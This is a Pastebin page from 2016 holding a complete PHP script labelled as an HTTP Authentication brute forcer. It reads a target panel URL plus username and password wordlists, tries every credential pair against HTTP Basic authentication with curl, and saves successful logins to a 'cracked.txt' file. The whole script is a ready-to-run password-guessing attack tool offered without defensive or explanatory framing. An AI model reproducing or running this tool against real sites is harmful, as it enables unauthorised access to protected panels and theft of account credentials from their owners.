Advertisement
Guest User

karim

a guest
Jun 24th, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.90 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. set_time_limit(0);
  5. ini_set('memory_limit', '640000M');
  6.  
  7. echo"
  8.  
  9. [#]==============================================[#]
  10. [#]  HTTP Authentication Brute Forcer V 1.0      [#]
  11. [#]           s0w & Nani17                       [#]
  12. [#]  MaDe By Islam ..                            [#]
  13. [#]  Last Update : 24/1/2016                     [#]
  14. [#]==============================================[#]
  15.  
  16. ";
  17.  
  18.  
  19. function curl($url,$user,$pass){
  20. $ch = curl_init();
  21. curl_setopt($ch, CURLOPT_URL,$url);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  23. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  24. curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
  25. $result = curl_exec($ch);
  26. curl_close($ch);
  27.  
  28.    return $result;
  29. }
  30.  
  31.     function save($site,$user,$pass){
  32.         $fo = fopen("cracked.txt","a+");
  33.         fwrite($fo,"[+] $site\n    $user:$pass\n\n");
  34.         fclose($fo);    
  35.         }
  36.  
  37. echo "\n(Panel URL)      => ";
  38. $panel_url = trim(fgets(STDIN,1024));
  39.  
  40. echo "\n(usernames List) => ";
  41. $user_file = trim(fgets(STDIN,1024));
  42. $users     = file($user_file);
  43. $users     = array_unique($users);
  44. $count_u   = count($users);
  45.  
  46. echo "\n(passwords List) => ";
  47. $pass_file = trim(fgets(STDIN,1024));
  48. $pws       = file($pass_file);
  49. $pws       = array_unique($pws);
  50. $count_w   = count($pws);
  51.  
  52. echo "\n(Error Message)  => ";
  53. $err = trim(fgets(STDIN,1024));
  54. $err = trim($err);
  55.  
  56.           sleep(1);
  57.           echo "\n\n\t\t[*] URL       : $panel_url
  58.             usernames : $count_u user
  59.             passwords : $count_w pass
  60.           \t\t\n\t\t    Cracking ... \n\n";
  61.  
  62.    
  63. foreach ($users as $user){ 
  64.     $user = trim($user);
  65.  
  66. foreach ($pws as $pass){   
  67.     $pass = trim($pass);
  68.    
  69. $go = curl($panel_url,$user,$pass);
  70.  
  71.     if(!preg_match('#'.$err.'#i',$go)){
  72.        
  73.         echo "[+] $user : $pass\n";
  74.         save($panel_url,$user,$pass);
  75.         exit;
  76.        
  77.         }else  
  78.       echo "[-] $panel_url : ($user : $pass) => error\n";
  79. }}
  80.  
  81. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement